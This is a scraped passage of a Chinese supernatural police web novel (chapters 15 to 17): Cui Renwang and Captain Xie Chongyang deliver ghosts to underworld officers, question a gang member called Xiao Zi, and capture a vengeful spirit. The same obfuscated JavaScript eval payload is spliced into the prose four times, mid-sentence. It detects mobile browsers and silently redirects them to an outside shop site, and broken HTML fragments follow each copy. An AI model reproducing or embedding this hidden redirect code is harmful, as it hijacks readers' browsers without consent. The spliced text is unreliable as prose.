崔人往被他摇晃了一下,脑袋里那点下垂的情绪也“哐当”被摇晃了一下,忍不住轻轻拍开谢重阳的手,他说:“把这群小鬼交给阴间公务员,然后请他们帮忙找找走丢的四个生魂。” 崔人往眼中的城隍庙可比一般人眼里热闹不少——阴差来来往往打着招呼,眼看着是要上班了。 “啊?”谢重阳头一次办案办到庙里来,带着几分震惊问,“求神啊?” 崔人往已经进去,谢重阳也只好硬着头皮跟上去。 他不由得庆幸,幸好他们平常不穿警服,不然还真不好意思走进去。 崔人往本身阴气就重,手里提着装了三只鬼的塑料袋,身边还跟着个阳气格外旺盛的谢重阳,在一般阴差看来,大概像是一人三鬼被谢警官逮住扭送城隍庙了。 几个阴差看向这里窃窃私语,崔人往充耳不闻,买了香,按照老张教的点香上供,然后念词。 一串词念完,他睁开眼,眼前挨着三个鬼看了都要哭的凶煞阴差。 崔人往微微后仰,拎起那个塑料袋:“就是这三个小鬼。” 他们这个年份的鬼,按照道理早该去投胎了,还困在那个墓里,多半是风水出了什么问题,把自己也给困住了。 按照老张的做法,应该是做场法事把他们送走。 按照崔人往的做法,那就是挑个月黑风高的日子直接从墙外城隍庙,就算不打招呼,城隍庙公务员也自会处理。 现在是折中了一下,不办法事,但跟阴差打个招呼。 左边阴差瞧:“这个年份的鬼,现在还能找到?稀罕货啊!” 豁牙小鬼又“哇哇”哭起来:“我要我娘、我要我娘……我不走!我要等她一块……” 中间阴差劝:“莫哭了,你娘不在,阴阳两隔,缘分已尽,总不能把她也带去地下陪你吧?” 崔人往轻咳一声:“这倒不是,他娘也死了,只是如今附身在人身上,不知道往哪去了,还请几位帮忙找找。” 他顿了顿说,“还丢了四个生魂,也请一并帮帮忙。” 三位阴差一齐扭过头来看他,右边阴差咂舌:“啊呀,这居然是个活人,差点也看成鬼了。” “开了天眼,命属极阴……这个更稀罕。”左边阴差上下打量他,“能平安长到这么大,不容易。” “我瞧瞧。”中间阴差也凑过来,“小子,可拜了什么师父?有没有修什么道行啊?” 崔人往:“……” 他摸出几个锡纸银元,也供上去,“事情要紧,还请几位帮忙。” 他把银元点燃,瞟了豁牙小鬼一眼,垂下眼说,“还有……若是能碰上,也让他跟娘一块走吧。” 几个阴差拿了银元,脸上的表情都柔和不少:“好说、好说,你且等好消息吧,待我们找到那几个生魂,再来寻你!” 阴差手中锁链一抖,勾着小鬼一串跟在身后,穿墙而去。 谢重阳只看见崔人往上了香,像是与看不见的人说着什么,还化了两个元宝,忍不住为难地拧起眉头。 忽然,一阵阴风吹过,元宝的余烬打着卷飞向高空,崔人往微微仰起头,也不知道目光落在何处。 谢重阳盯着他,试探着开口:“你有没有听说过,国外一个被称为‘审判者’的连环杀手。” 崔人往回头:“没有。” 谢重阳接着往下说:“他每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006891|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次行凶手法都不尽相同,因此一开始警方并不能确定这一系列案件是同一个人做的。直到在后续调查中,警方终于发现被害者的共同点——这些被害者都有不同程度的犯罪,而他们的死法都对应着他们所犯的罪。” 崔人往不明白他为什么突然说起这个,但还是耐心听着。 “在警方逮捕他之后,证据链一度没法完善。”谢重阳盯着崔人往,“因为没人知道凶手到底是怎么知道这些人曾经犯罪的。” “凶手本人坚称所有人的罪孽一目了然,犯罪者行走在人间就像是恶魔行走在无辜的羊群里一样显眼。他质问,为什么警察放任恶魔行走人间,不得不由他来亲自审判。” 崔人往若有所思。 在谢重阳看不见的角落里,几个阴差聚在他身后,也听得津津有味。 崔人往问:“那后来呢?证据链完善了吗?还是他们发现他真的是天使转生?” “他们最后发现,这名犯人患有严重的脑炎。”谢重阳摸了摸鼻子,“没人能够知道他异常的大脑让他以怎样的视角看待这个世界,是否真的看见了所有人身上的‘罪’。” 崔人往:“……” 他没忍住笑了一声,“如果非要在疯子和病人里选一个,我宁愿你把我当成疯子。” “我不是那个意思。”谢重阳拧起眉头,“我是想说……我相信你。” 崔人往这回是真的有点诧异了:“啊?” “我相信你是真的在找线索,在为了案子奔走。”谢重阳认真地看着他,“你不是为了演戏,为了故弄玄虚才带我在这里来的。” “我相信你,但是我也相信科学。” 崔人往试图跟上他的思路:“所以你的意思是……你要既相信科学又相信我,得出的合理解释就是——我脑子有问题?” “不一定是生病了,可能只是天生特殊。”谢重阳认真地分析,“也许人跟人看到的世界都是不一样。” 崔人往挑眉:“那你相信我能看见鬼魂?” “不是鬼。”谢重阳表情严肃,“也许是你能嗅到特殊的气味,也许是你能接收到的电波频率和一般人不一样,总之,应该都是科学能解释的。” “如果现在不能解释,那就是科学还没发展到这一步。” 崔人往:“在城隍庙里聊这个,你是真的不信邪。” “嗯?”谢重阳不明所以,“跟地点有关系吗?” 崔人往:“对你来说没有。” “走吧。” “哦。”谢重阳跟上去,“对了,市局有定期体检的,以防万一你还是……” “如果我真的脑子有问题,那老张和小桃呢?”崔人往挑眉,“我们仨脑子坏到一块了?” 他说完居然觉得这个想法可以接受,“也行,三个病友。” 谢重阳:“我不算吗?” 崔人往诧异:“你是正常人。” “我又不是说你们有病……”谢重阳说话时总喜欢盯着人的眼睛,“那退一万步,正常人不可以跟你们做病友吗?” “好歹名义上是你们的队长,不能不带我吧。” 崔人往:“……行,你当头号病友。” 谢重阳居然还挺满意,他笑着指了指外头的步行街:“走啊,买点吃点。” 15. 015.小紫 崔人往本想拒绝,但考虑到拒绝可能只会被谢队长戳着脑门问“为什么不好好吃饭”,也就含糊地应了一声。 他说:“我去便利店买水。” “那我去买吃的。”谢重阳打量一圈,“炒面吃不吃?” 崔人往考虑片刻:“好,有没有小份?” “你要多吃点啊。”谢重阳语重心长,“作息紊乱、不好好吃饭,身体只会越来越差!” “别装没听见!” 崔人往头也不回地快步走向了便利店。 几分钟后,两人在车上汇合。 谢重阳带着两盒炒面外加两根大肉串,崔人往瞟了眼,从购物袋里摸了瓶草莓牛奶出来。 谢重阳不由分说塞给他一根肉串,从他那拿了瓶运动饮料,还问:“买这么多?趁热吃,给你加了辣。” 崔人往瞄着谢重阳,他像是很习惯在车里吃东西了,进食速度很快但吃相还不错,神情专注得莫名让人觉得他很尊重手里的食物,多少勾起了一点食欲。 崔人往就着谢队长的好胃口咬了一口——味道确实还不错。 他靠在车椅里慢条斯理地进食,像是把路边摊小吃也要吃出了点服务费。 崔人往举着肉串,隔着马路打量对面的城隍庙,夜色中被吆喝声包围的城隍庙并不显得威严,反而更加可亲。偶尔有贪恋人间的阴差路过摊贩边上,顺着吸一口香气,露出些许陶醉的神情。 崔人往没忍住笑了一声。 谢重阳靠过来,顺着他的目光一块往外看:“怎么了?笑什么呢?” 崔人往把他拱回去:“笑阴间公务员没有你们管得严。” 还能收元宝呢。 谢重阳没理解:“啊?” 崔人往低低笑了一声:“夸你们五项禁令执行得好。” “那当然了。”谢重阳相当骄傲,“我们市局从来不搞那一套!我们……” 正巧这时候小桃的电话打进来,谢重阳立刻闭上了嘴。 崔人往接起公放,小桃语速带着兴奋:“老大!我找到一点线索!” “你发过来的那三个人之前在公安系统有记录,因为打架斗殴被拘留过,但当时他们是五个人。” 崔人往惊讶:“五个?” “对,红绿黄蓝紫五个色,他们好像有自己的应援色一样,一直都是这么搭配的。”小桃的说话声伴着噼里啪啦敲击键盘的响动,“现在小红、小绿、小黄在医院昏迷,还有派出所警员看着,被夫人附身的那个人,不是小蓝就是小紫。” “他们俩电话联系不上,监控里暂时也还没找到,那个很帅的警察姐姐说,让你们俩线下跑一趟……我把地址发给你们了。” “离城隍庙比较近的应该是小紫。” “嗯,我们这就去,你继续看监控。”崔人往答应下来,“吃饭了吗?” 听到崔人往还能关心别人有没有吃饭,谢重阳忍不住多看了他一眼——原来这人也不是完全没有生活常识,只是对自己根本不上心。 “吃了,跟大家一起吃了。”小桃小声说,“谢队长的同事们也还在帮忙呢,他们说不能吃白食,今天跟咱们共同加班。” 崔人往笑了一声,谢重阳有些摸不着头脑:“什么吃白食?” 小桃听见他的声音,语气一瞬间腼腆起来:“就是,老大给我点了外卖,听说其他人也都还没走,就一起点了。” 崔人往懒洋洋地看回去:“我现在也是市局的人,这下没有行贿嫌疑了吧?” 谢重阳迟疑着:“应该……没有。” 崔人往打开导航:“这里,先去小紫家看看。” “好。”谢重阳迅速收拾完了垃圾,“你再多吃两口啊!” 停在城隍庙门口的车打了个转,汇入晚高峰的车流,驶向下一个目标。 …… 丰城某街道。 一个醉鬼摇摇晃晃地走在小路上,嘴里还哼着不成调的小曲,时不时比划一下,显得十分陶醉。 他走过一条漆黑的小巷,传来突兀的“哐当”一声。 小曲瞬间停了,醉鬼睁大了视物模糊的眼睛,壮着胆子喊了一声:“谁啊!” 他身侧的一条窄巷里面堆着杂物,几乎无法过人,刚刚的动静像是从哪里传来的。 他伸长了脖子张望,怀疑不是野猫就是耗子。 悬着的心刚放下去,又是“哐当”一声,狭窄的巷子阴影里突然站起一个有些扭曲的影子。 “嗷啊啊啊!”醉鬼一嗓子嚎了出来,酒精瞬间顺着毛孔挥发了不少,他踉跄着后退了几步,才看清影子的真容。 ——那是一个身材瘦削的年轻人。 “他”穿着一件饱和度很高的蓝色紧身衣,裤子也同样紧身,走路姿势有一点与身体不匹配的微妙怪异感。 朦胧的灯光让“他”的影子摇晃得像个怪物,醉鬼终于确认对面不是什么非人生物而是个普通瘦弱的年轻人,酒气当即又变成了胆气,张嘴就骂开了。 没素质的国骂响彻小巷,忽然之间,那张脸一下闯进他的视野,眼睛布满血丝,眼圈乌青的青年嘴巴开合:“你看见我的……” “啊啊啊!”醉鬼又大叫一声,一把将他撞开,连滚带爬地跑走了。 蓝衣青年摔坐在地,呆愣了好一会儿,才慢慢重新站起来。“他”发出一声长长的叹息,仰头有些畏惧地看着映照着各色灯光的天空。 附身于人像是短暂的回魂,但新时代的霓虹高楼让旧时代的鬼目眩神迷,“他”下意识又藏身进阴暗的小巷里,扶着墙游荡在这座城市里。 被挤出身体的小蓝生魂坠在他身后,神情呆滞,一起漫无目的地飘荡着。 他身后,红绿黄三个生魂也跟着,像他们平常成群结队一样,迷茫但团结地围聚在一块。 “他”忽然扭了扭脑袋,看向小巷的尽头,那个方向隐约飘来浓重的阴气,对于鬼怪而言,是跟香火一样难得的佳肴。 像是饿久了的人被美食的香味吸引,游鱼上钩,飞蛾扑火,他的脚步逐渐坚定起来,朝着阴气更重的地方找过去。 不知走了多久,“他”停在一栋烂尾楼前,大楼整体结构已经完工,但门窗孔洞裸露着,像张着黑漆漆的口子。 “他”站在这栋大楼前,目光有一瞬间的迷茫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011783|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——刚刚浓重的阴气已经消失不见了,空气中只留下浅淡的余韵。 哪怕刚刚这里确实有盘阴气大餐,现在也已经收摊了。 “嗒”、“嗒”,缓慢但有节奏的脚步声靠近,有人略微惊讶地“咦”了一声。 “这里怎么还有一个?”穿着格子西装的男人精致得跟整个烂尾楼格格不入,他扶了扶脑袋上的费多拉帽,低低笑了一声,“可惜,他刚刚已经吃饱了。” 他轻轻晃了晃手中蛇皮手提箱,里面似乎发出了什么东西碰撞的响动。 如果当初那个快递员在这里,他应该会觉得熟悉——声音虽然做了处理,但他说话的腔调有种独特的韵味。 蓝衣青年不由自主的颤抖起来,“他”似乎想要逃跑,但身体、亦或者说魂体,更加诚实地做出了恐惧的反应。 “他”跪倒在了地上,害怕地蜷缩着发出了几声呜咽。 “嗯——”男人似乎在思考着什么,他最终笑了笑,“在他吃饱后才出现,这或许就是你的好运。” “我们要相信命运的指引。” “既然如此,就让我送你一份礼物吧。” …… 丰城城南,佳和三期小区。 谢重阳和崔人往按照小桃提供的地址,敲响了代号“小紫”的青年家门。 “我不是备注了放门外……”头发乱糟糟的青年套着件黑卫衣,只穿着一条大裤衩,神情张牙舞爪地打开门,在见到门外两个成年男人、尤其是谢重阳以后,怒气一下子偃旗息鼓,变成了错愕。 他似乎敏锐地从中嗅到了什么不祥的气息,眼神不安地乱晃:“你们谁啊?” 谢重阳亮出了警官证,两人还算顺利地进了他家门。 谢重阳打量着他,第一句居然问:“怎么没穿紫衣服?” “啊?”小紫没反应过来。 崔人往瞟了小紫一眼说:“可能是黑化了。” “哎?”小紫更加疑惑。 谢重阳倒是露出一点笑意。 小紫不明所以,跟着一块笑:“警官,我最近没干什么……” 谢重阳收敛笑意,一双眼很有压迫感地盯着对方:“你没干什么,那其他人干什么你知道了吗?” 小紫连忙摇头,有些紧张地攥着手,显然不用多说就知道谢重阳口中的“其他人”指的谁。 他小心翼翼地问:“他们……怎么了?” “是不是又跟那个什么‘灰蛇帮’打架了?那、那他们也得抓啊!警察同志你们不是要扫黑除恶吗?他们都是帮派了那是不是得……” “我没跟你开玩笑,你真不知道他们干什么了?”谢重阳重重敲了敲桌子,“就昨天晚上。” 小紫明显慌张起来,他一个劲摇头:“我真不知道!” “那你呢?”谢重阳板着脸,继续施加压力,“你昨天晚上在干什么?” 小紫缩着脖子,有些蔫巴地说:“在网吧。” “一个人?哪个网吧?”谢重阳追问,“我们会去核实记录。” “可能没、没记录。”小紫低下头,手插在卫衣兜里,神情有些窘迫。 16. 016.见鬼 谢重阳盯着他:“上网要身份证,怎么可能没记录?” 小紫别开视线,用抖腿掩饰尴尬:“我没开机子,我就看人家玩。” 谢重阳挑眉:“为什么?” 小紫兜里的手动了动:“没钱。” “那网吧也会有监控。”谢重阳低下头记录,“网吧名字,我们会确认你进入和离开的时间。” “哦,你们可以去查,我说的是实话。”小紫说完又有点不安起来,“你们是在问我不在场证明吗?到底发生什么事了啊?他们……怎么了?” 谢重阳问话期间,崔人往已经把他家里看了个七七八八。 他蹲在一个已经干涸的鱼缸前面,问:“你昨天为什么没跟他们一块行动啊?你们不是好朋友吗?” “还能因为什么。”小紫低下头,含糊地说,“闹掰了呗。” 崔人往打算追根究底:“为什么闹掰?” 小紫还犟嘴:“这跟你们应该没关系。” 谢重阳又敲了敲桌子:“有没有关系是我们要判断的事,你只管说。” 小紫长长吐了口气,没什么精神地说:“我说我不跟他们混了,我要出去打工了。” 崔人往像个十万个为什么,他又问:“为什么?” 小紫垂着头:“我要钱。” 他原本好像只打算说这一句,但又没忍住自己的倾诉欲,接着说,“我妈病了。” 他别过头吸了吸鼻子,“脑梗。” “她本来就高血压,上次我被关进去几天,她听说了,在地里一下子就……晕过去了。” “我想去看看她,但是我爸让我滚。” 他想装得像个很有故事的深沉人物,风轻云淡说出自己的故事,但通红的眼眶和浓重的鼻音还是遮不住委屈和不甘心,“我知道我不配回去看她,我就是想挣点钱,给她寄点医药费。” “我有个老乡说他厂子招人,包吃住,干得多挣得多,我就想去试试。” 他又用力吸了下鼻子,谢重阳本来想给他递张纸,但桌上的纸巾是空的,还是崔人往从口袋里找出一包纸巾。 小紫道谢后胡乱抹了把脸,紧紧攥着那团纸:“我跟他们说了这事,结果义哥……就是穿红色的那个,他觉得我是怨他。” “上次跟灰蛇帮的人干起来,是因为义哥跟对面起冲突,才一块进去蹲了两天。所以这次我跟他们说,我不跟他们混了要出去打工,他觉得我是因为上次,不讲义气了,就闹掰了。” “这两天我们都没在一起,我真不知道他们做什么了。” 他舔了舔嘴唇,沙哑着嗓子问,“所以,他们到底怎么了?” 谢重阳和崔人往对视一眼,觉得他说的八成是真话,盗墓四人组里恐怕真没他。 那么,被夫人附身走丢的那个,基本可以确定就是小蓝了。 “咚咚”,门忽然被重重敲响。 屋内的三人一齐扭头。 “外卖!”门口的外卖小哥扯开嗓子喊,“你电话打不通!” “来了!”小紫一愣,有些局促地站起来,“那个,警官,我能拿外卖吗?” “我去吧。”谢重阳打开门,外卖小哥原本还想再多说两句,但谢重阳已经接过外卖,朝他一点头,露出个阳光灿烂的笑脸,“不好意思,疏忽了。” 外卖小哥噎了一句,结结巴巴地说:“哦、哦,也没事,没多大事,你电话停机了!” 谢重阳把门关上,崔人往问小紫:“你手机停机了?” “啊?”小紫慌慌张张地取出手机,鼓捣了一通,尴尬地挠挠头,“哦,欠费太久了。” 崔人往:“……” 他问,“没钱充?” 小紫尴尬地点点头:“但我在家里,有网……蹭的隔壁的。” 崔人往这辈子缺过许多东西,但没怎么缺过钱,他叹了口气说:“电话号码,我给你充。” 谢重阳一皱眉头:“又来?” “再吵给你也充,我有你号码。”崔人往一句话让谢警官闭上了嘴。 “啊、啊?”小紫受宠若惊,连忙喊“哥”,“哥你姓啥啊?” 崔人往头也不抬:“崔。” “崔哥你以后有事找我。”小紫拍着胸脯保证,“你把电话留给我,我以后挣钱了十倍还给你。” 崔人往笑了一声,他笑起来那张本就称得上漂亮的脸更加惑人,没怎么见过世面的小紫看得有些晃神。 崔人往抬眼看他:“十倍?放高利贷都没这么狠。” 小紫讷讷低头,挠了挠头。 “好了。”崔人往给他充了话费,没几分钟,电话复机短信就到了,随之而来的还有几声“叮咚”短信提示音。 小紫本想随手点掉,但在看清信息的一瞬间,他脸上浮现出某种要哭不哭的复杂神情——网络推销的垃圾信息里,他看见一条迟来的短信。 义哥:“哥几个想明白了,你要为了你妈去打工,是孝顺,我们不能拦着你。去花城的车费不便宜,你也不用担心,哥几个给你想办法,等着我们的好消息。你放心,虽然这次要分开走不同的路了,但咱们哥五个的羁绊是什么斩不断的!遇到麻烦回来找你义哥,咱们五个一起杠!” 小紫红着的眼眶终于沁出泪水,他“噌”的站起来,神情惊惶:“他们不会去偷东西了吧?我、警察同志,我给你们写欠条!他们偷了多少钱算我的,我以后十倍还给你们,你们别让他们坐牢,我求你们……” 崔人往疑惑:“他们为什么发短信不发微信?” “仪式感!”小紫红着眼眶握着拳,“重要的信息还得是用短信!这是我们几个人的仪式感!就像结拜的誓言也不能随便发!” “哦。”崔人往指着短信上最后一行,他说,“一起‘扛’,不是一起‘杠’,这里还写错了。” 小紫:“……” 崔人往:“还有,坐不坐牢你求警察也没……” 谢重阳捂住了崔人往的嘴。 他大概明白了这几个人半夜盗墓的作案动机,轻咳一声:“嗯咳,我们会酌情考虑的。现在案件还在侦查中,不能给你透露太多信息,但需要你配合。” “那个穿蓝衣服的,现在下落不明,我们要尽快找到他。昨晚之后他有没有跟你联系过?你知不知道他可能去哪里?” 小紫抹了把脸认真思考,试图提供一点有用的信息,崔人往却没认真往下听。 ——现在占据小蓝身体,主导身体行动的不是他的朋友,而是那位墓里挖出来的夫人。 小紫现在想破脑袋,他的情报也没有多少参考价值。 不过…… 他瞟了眼红着眼眶认真考虑的小紫,让他多说两句,至少能让他觉得自己也帮上了点忙。 他被捂着嘴后乖乖没有吭声,目光没有焦点地落向不太干净的天花板。 ——现在老张应该在用自己的方法卜算位置,小桃也正在监控系统里找小蓝的踪迹,科学和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016003|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄学双管齐下,找到他应该只是时间问题。 只需要时间。 手机默认铃声响起的时候,小紫因为回忆得过于专注,整个人吓得弹了一下。 “喂。”崔人往接起电话,终于重新开口,“嗯,好,知道了。” 他挂了电话,看向谢重阳:“走了谢队,找到人了。” 小紫“噌”地一下站起来:“我、我跟你们一起去,警官,我……” 谢重阳正要拒绝,崔人往已经开口:“三院。” “你可以去三院等着,其他人都在那里,警察也在。” 他看向小紫,“但你去了也只能等着,不一定能说上话,也没什么用……” “我去!”小紫根本没听完,他红着眼眶,“谢谢警官!谢谢崔哥!我以后一定会报答你们的!” 他抢在两人前头夺门而出,两条细长的腿倒腾得飞快,风一般下了楼。 “哎!你外卖还没吃!”谢重阳还想给他递过去,但一眨眼的功夫,就只能从楼道窗口看见他已经下了楼,他四肢细伶伶的,像只在夜色中狂奔的中华细犬。 他不可置信地回头问:“他不会打算跑着去三院吧?” “跑累了就会走了。”崔人往体贴地帮小紫关上了房门——希望他有记得带钥匙。 谢重阳收回目光:“小桃找到小蓝了?” “嗯。”崔人往应声,“晕倒在路边被发现的,‘夫人’不在他身上。” “发现地点发给我了,咱们赶过去,说不定还能发现什么。” …… 不久前,烂尾楼。 接受了男人赠送的“礼物”,夫人身上很快发生了某种变化。 她的迷茫变成了怨恨,惊恐变成了愤怒,原本没怎么见过世面的墓中小鬼,不知道如何在短时间内被填入了满腔怨气,眼看着就要朝着厉鬼的方向转变。 排排队跟着她的生魂们还懵懂地飘在原地,直到小蓝的生魂被夫人扑上来啃了一口,他们才脱离浑浑噩噩的游荡状态,发出一声生人听不见的尖叫,凭着恐惧驱使四散逃开。 夫人毫无顾忌地冲过马路,在乱七八糟的鸣笛里被一堵墙拦住了去路——她附身在小蓝身上,追着那几个没有实体的生魂,很快就察觉到了不便之处。 她不再是那个需要借助人类躯体藏身的畏首畏尾小鬼,匆匆丢下了限制她发挥的碍事人类躯体,继续撵着啃过一口的小蓝生魂追了上去。 她借着黑夜的掩护,以捕猎者的姿态一点点拉近自己和猎物间的距离。 生魂慌不择路,在闪烁着灯光的夜色中穿行,眼看着就要被她追上时,街对面一辆小电驴灵巧地拐了个弯,车上的人打开蓝牙音响,一阵劲爆的道乐以绝对扰民的巨大音量响彻了街道。 “天地自然——” 吹拉弹打齐奏响,老张扯开嗓子就开唱,夫人捂着脑袋尖啸一声。 这边刚送上一曲道家才艺展示,那边就回了一个毁灭世界的高音。 崔人往和谢重阳前后脚赶到了演唱会现场,在谢队长惊愕的眼神里,崔人往眼都不眨一下地咬破了手指,点着虚空画了个符。 谢重阳正犹豫着要不要提醒老张把音响关了,否则一会儿可能也得去派出所报道,空中忽然“刺啦”一声,空气像被人攥了起来一样扭曲了。 街灯飞快闪烁,爆出一朵火花后彻底熄灭,落下的电光火星隐约描摹出一个尖叫的女人的鬼影。 谢重阳:“!” 17. 017.巧合 耳边响起让人牙酸的耳鸣,谢重阳捂住耳朵正要开口,四周又瞬间安静了。 ——老张把音响关了。 “嗨呀,你们这就来了,我还正要大展身手呢。”老张笑嘻嘻地举起手中的兵马罐,正要把蔫巴了的夫人和受了伤的小蓝生魂都一块塞进去。 半空中远远传来一声:“慢着!” 两人扭头看过去,在城隍庙中打过照面的一位阴差拎着勾魂索匆匆飘来,他那张凶神恶煞的脸上露出笑意:“噢哟,都看得见啊,那好说了。” “这个小鬼便交给我吧。” 两人对视一眼,老张笑呵呵地作揖:“可否稍等,她先前没这么重的怨气,我们想问问她是否遇见什么事了。” “左右不过是撞上什么脏东西了。”阴差不以为意,“这几个滞留人间的鬼物早该带下去了,原先没找到便罢了,如今已经让我瞧见,可就没理由再拖了。” 老张为难地拧起眉头:“这……” 他正要发挥自己的嘴皮子,再跟这位阴差掰扯掰扯,对方却主动开口说:“这样吧!他们带下去之后,在殿前也是要好好审问清楚的,过十五日,你们再来城隍上香请问,审出什么,我便说给你们听。” 老张听懂了——最好到时候还能给他上点香烧点元宝。 他笑呵呵地应下:“那便依您。” “嗯——你们帮着做了不少好事,功德簿上不会忘了记一笔的。”阴差心满意足,勾着被压制了凶气的夫人离开,只留下小蓝的生魂。 “可惜剩下几个生魂都跑了。”老张无奈地掐了掐手指头,“啧,四面八方去了,看来还得我跑一趟医院叫魂。” 小桃确认了这几个倒霉盗墓贼的身份,也就拿到了八字,直接叫魂比满大街找还更快些。 崔人往看着阴差离开的方向,缓缓吐出一口气,身形轻轻摇晃了一下。 老张连忙扶他:“哎哟,你看你!我都跟你说,不要为了便捷总用这种不正规的方法画符,你有多少血嘛!买点黄纸朱砂备着不好吗!” 崔人往左耳朵进又耳朵出,蹙起眉头打量四周。 刚才小蓝的生魂是避着活人逃的,不知不觉到了一条小路上,四周除了路灯,建筑内的灯光基本都暗着,不知道是什么情况,但幸好没什么人气,没引来多少注意。 他问:“他们是碰巧到了这里,还是这里有什么?” “谁知道。”老张叹气,“可惜没来得及问,我总觉得她还是遇到什么了。” “阴差勾魂可不等人,只能十五日后,再去问问了。” “嗯。”崔人往垂下眼,嘀咕一声,“阴间什么时候也推广推广反腐行动啊?” “嘘!”老张瞪着他,“瞎说什么呢,你也不怕被阴差听见,他们最小心眼!” 崔人往斜眼看他:“你说他们小心眼就不怕他们听见了?” 老张:“……” 他拍拍崔人往说,“童言无忌。” 又拍拍自己,“人之将死其言也善。” 崔人往诧异:“你快死了?” “或早或晚的事。”老张看得豁达,“行了,你们也忙一天了,下班了下班了,叫小桃也赶紧回家吧!” 他一回头,看见谢重阳还盯着那坏得莫名其妙的路灯,恍然大悟地一拍手,“哦,路灯!” 他拍拍谢重阳,“放心,小崔有钱,他出钱修。” 崔人往:“……” 谢重阳缓缓拧起眉头:“我刚刚看见一张脸……” 崔人往来了点兴致,问他:“看见了?” 谢重阳反应过来,坚定地回答:“不可能是鬼!” 崔人往问:“那怎么解释?” 谢重阳认真思索:“你等我想想。” “行。”崔人往微微颔首,“编出来了跟我说一声。” 谢重阳:“什么叫编……” 崔人往已经回到车边,整个人看起来又萎靡了几分,脸色白得像纸,他问:“能送我回酒店吗?有点困了。” “你看看。”老张连忙一步迈上来,拎起他的手腕把脉,嘴上不停,“我就跟你说……哎得得得,又不乐意听!” “我说你这么有天赋,真不跟我正经学?我们现在也有那种不完全出家可以结婚的修行方式……” 崔人往斜眼看他。 老张遗憾地松开手:“干嘛啊?就那么不想喊我‘师父’啊?” “还‘师父’。”崔人往盯着他,“刚刚那么危险……” “哪里危险了!”老张不以为意,摆出托罐天王的架势举起手中兵马罐,“你等我召集五路兵马,这小小怨鬼……” 崔人往翻了个白眼,抽回手无情地关上了车门,把老张的唠叨也一并关在了车门外。 “我说你真得控糖了!还有放松心情,不要总是闷在家里多出门晒太阳!最忌讳多思多虑!”老张戳着车窗交代,“不然我就给你开两幅比命还苦的药,叫谢队长捏着你的鼻子给你灌下去!” 谢重阳震惊:“老张你还会把脉啊?” “当然!”老张得意地指指自己,“老中医了,我要是乐意坐诊,多少也得是个专家号。” “我那个资料上没写啊?” 他惋惜地一拍大腿,“哎呀,草率了,应该写在特长那里的。” 谢重阳:“……” 老张瞟了眼车里崔人往,拉着谢重阳往旁边一步,压低声音跟他说:“哎,小谢,拜托你个事。” “你平日没工作的时候,能不能也想办法多带着小崔一块行动?” 谢重阳毫不犹豫答应:“行啊。” “我跟你说呀,他这人……”老张正打算长篇大论,忽然卡了下壳,“啊、啊?行啊?” “嗯。”谢重阳重重点了下头,“行啊,没问题。” “带他吃饭,多晒太阳,哦,还有控糖对吧?” 他还有些惊奇,“老张你还知道控糖啊。” 她妈近年保养倒是老提这个。 老张嘴巴张合了一下,他回过神:“呃,虽然你答应就好,但我还是得跟你解释一下。” 崔人往已经在副驾上闭目养神,“这孩子命格有些特殊,身上阴气太重,八字又轻,越是跟鬼神打交道,人气就越稀薄,一不小心就真一步踏过奈何桥,不声不响梦里赴黄泉了。” “多让他见见人间七情六欲,沾点人气,对他有好处。” “好。”谢重阳一口答应下来,顺着他的思路想了想说,“但这样的话,照理说,他不是应该远离这些,不沾染更好吗?” “你都说了是‘照理说’。”老张一摊手,“你还不知道他这个性子能有多倔,就算你不让他掺和,他也不可能不掺和,他只会背地里乱掺和。” 老张背着手,“与其让他自己乱来,不如让我看着他,还能教他两招,帮他两把。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021249|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢重阳忽略了那些不科学的说法,听懂了最核心的部分:“好,我明白了!你放心吧,我会想办法尽量多带上他的!” “哎!真好。”老张欣慰点头,忽然扯出一个慈祥得像个骗子的笑脸,话锋一转问他,“对了,好孩子,你想当道士不?” 谢重阳没一秒犹豫地坚定摇了摇头。 